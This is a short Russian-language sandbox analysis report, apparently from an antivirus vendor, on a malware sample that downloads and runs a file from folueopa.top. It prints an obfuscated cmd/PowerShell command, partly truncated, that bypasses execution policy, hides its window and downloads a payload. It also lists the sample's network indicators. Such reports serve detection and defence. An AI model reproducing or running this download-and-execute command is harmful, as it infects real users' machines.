Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://folueopa.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "POWeR^SHE^L^l.Exe^ -eX^ECu^tiOn^pOlI^c^Y^ ByPAss -N^OPROFIlE^ -wiNDOW^s^t^YLE^ ^h^IDDe^n^ (n^E^W-^ObJEct ^sYSteM.Net^.wE^BcL^iENT).^Down^lo^a^d^FIl^E^('http://folueopa.t...
Сетевая активность
TCP
Другие
- '34.##9.100.209':443
UDP
- DNS ASK fo###opa.top
Другое
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "POWeR^SHE^L^l.Exe^ -eX^ECu^tiOn^pOlI^c^Y^ ByPAss -N^OPROFIlE^ -wiNDOW^s^t^YLE^ ^h^IDDe^n^ (n^E^W-^ObJEct ^sYSteM.Net^.wE^BcL^iENT).^Down^lo^a^d^FIl^E^('http://folueopa.t... (со скрытым окном)
